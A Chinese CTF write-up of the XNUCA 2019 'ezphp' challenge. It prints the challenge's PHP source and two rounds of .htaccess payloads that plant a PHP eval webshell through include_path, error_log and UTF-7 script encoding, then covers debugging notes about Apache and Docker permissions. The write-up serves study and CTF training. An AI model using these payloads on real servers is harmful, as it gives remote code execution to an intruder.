0%

XNUCA 2019 ezphp

[XNUCA 2019] ezphp

去年XNUCA的一个题,因为一个点死扣了两天,docker配置Apache配置全都重新研究了一般,开端口防火墙全都整了一遍呜呜呜

源码

<?php
$files = scandir('./');
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
    highlight_file(__FILE__);
    die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
    echo "Hacker";
    die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
    echo "Hacker";
    die();
}
$files = scandir('./');
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}
file_put_contents($filename, $content . "\nJust one chance");
?>

大致意思就是访问开始和结束都把index.php以外的文件都删了,然后让你写一个文件,filename只能是字母和.,content过滤了一些奇奇怪怪的内容
而由于filename限制在了.a-z中,所以用伪协议编码绕过内容过滤是不可能了
但是这些过滤和我上传一个马有什么关系呢?,所以直接传一个shell上去,不能解析,gg
说实话第一次遇到不能解析除了index.php以外的php文件的情况,人都傻了,后来去看了他们的docker,发现在Apache配置里写了只解析index.php
后来才知道应该是传.htaccess,这就是为什么上面有那一堆奇奇怪怪的过滤,然后最后又给你加了一句无意义字符。.htaccess中如果有不符合语法的内容会直接导致当前目录爆炸500
因为服务器刚好是Apache,只有在Apache中才能用.htaccess重写,当然也要在配置里面设置允许重写

思路

知道是传htaccess之后思路可以收束一点,过滤的内容就阻止了我们把htaccess写成shell再append到index.php里,普通的利用思路就断了,但是我第一眼看这个代码的时候就觉得很奇怪,为什么把所有东西都删了又include了一个fl3g.php,我一开始还以为是这个文件修改了权限删不掉,后来才知道这就是突破点

htaccess可以指定errorlog写入哪个文件,也可以修改include的基础路径,也就是我们把include的路径写成一个shell,这样子include(fl3g.php)必然报错,报错信息就会有我们实质上为shell的include路径,再把errorlog写进一个地方的fl3g.php,然后再把include改成那个路径就可以实现包含fl3g.php获取shell了

至于如何解决后面的无意义字符串,在.htaccess中 \是下一行的连接符,就像bash中用\连接下一行内容一样,这样子用\ #就可以把下面这一行拉上来注释掉了

第一次include的时候发现errorlog里的shell被实体编码了,包含失败,但是可以用UTF-7编码绕过,并且可以在.htaccess中设置UTF-7解码,所以用UTF-7绕过就可以了

UTF-7解码工具就找到一个,在外网卡死我了
http://toolswebtop.com/text/process/encode/utf-7

payload

记一下htaccess的payload

第一轮

php_value include_path "<?php eval($_GET['a']);__halt_compiler();"
php_value log_errors 1
php_value error_log /tmp/fl3g.php \ #

include_path的值记得UTF-7编码,然后再url编码一遍再打过去,在burp里换行就自动变空格了,手动改%0d%0a
这里的__halt_compoler();作用是停止解释器继续解释,即解释器运行到这就停止对整个文件的解释了,具体作用可能能防止之后有什么奇奇怪怪的东西导致脚本解析出问题吧,毕竟包含了整个日志
不过话说回来如果之前有人打了这么一个payload在日志里面,那么我再怎么打也没用了啊,也不知道别人后门密码是什么,新打的shell在别人的后面也没法被解析

第二轮

php_value include_path "\tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7" \ #

更具体的解法就不详细说了,可以参考tr1ple师傅的博客,他也顺便记录了几个非预期
https://www.cnblogs.com/tr1ple/p/11439994.html

坑1

不能算是坑,应该是自己过于愚蠢,虽然后面加的那句话对PHP没有什么影响,但是我还是想注释掉它,但是它接了一个换行符,#井号注释就注释不掉,我还想着在content的末尾加一个反斜杠\,这样子就能和后面的\n拼成一个\\n,就可以把换行符吃掉了
想法当然是美好的,但是过于愚蠢,早该想到自己写入的这个反斜杠早该被转义了,哪还有什么机会去转义别人

坑2

理论上我访问完这个脚本.htaccess才写入,而我再次访问这个脚本的时候由于解释型语言是顺序执行的,所以条件竞争在这里也没机会,执行的肯定会先把.htaccess删掉才到include,那么.htaccess就不会生效才对,那么上述的一切步骤都不合理了,为此我本地搭环境修docker整了两天
本地测试的时候发现就算是先删.htaccess,他设置的内容仍会生效
程序在运行的时候其实是把配置文件读入内存的,之后这个内容就在内存中常驻。所以像Apache这种软件修改了配置文件之后要重启一下才能重新载入新的配置文件
.htaccess同理,作为配置文件它在每一次执行的时候最先被载入,之后虽然执行的时候把它删了,但是它的内容已经常驻内存,在这次执行中都会受到影响,而下一次执行时就会重新读入新的.htaccess

坑3

无关题目,是本地搭环境的时候的问题
从GitHub拉下来了docker一套,环境一起发现访问不了,拒绝连接
首先开端口,端口开了之后还要开防火墙(由于是自己的虚拟机就把整个防火墙关了,,,坏习惯)
然后问题就从拒绝连接变成了500,折腾了两天才解决
首先进入容器,发现Apache没启动(dockerfile里明明写了一个.sh文件里面有一句启动Apache的,不知道为什么不能启动,直接启动一下就可以了)
启动了Apache之后还是不行,写了一个index.html文件,发现可以访问了,但是index.php还是不行,那就是PHP的问题了,改php.ini中的display_errors,就可以看见报错,显示的是不能包含index.php之类的内容,还有一个permission denied,大致能猜出来是PHP的权限问题了
.php文件是不需要可执行权限的,只要可读就可以,因为执行都是有php.exe这种可执行文件完成,它读取PHP文件并执行,而我是用root搭建的index.php,index.php的权限是600,php.exe肯定不是root权限,那就没法读取index.php,权限改成755,终于访问的上了呜呜呜

Linux复制文件的时候权限问题是有说法的,当一个用户复制一个不属于他的文件时,这个文件的所有权会变成他自己,所以我用root去搭建docker,这个index.php的所有者也就变成了root,但是文件权限怎么还默认是600的,不然就没这么多问题了

但是docker正常情况下不用root也是会permission denied的,马师傅提出一个解决方案是将普通用户也加入docker的用户组中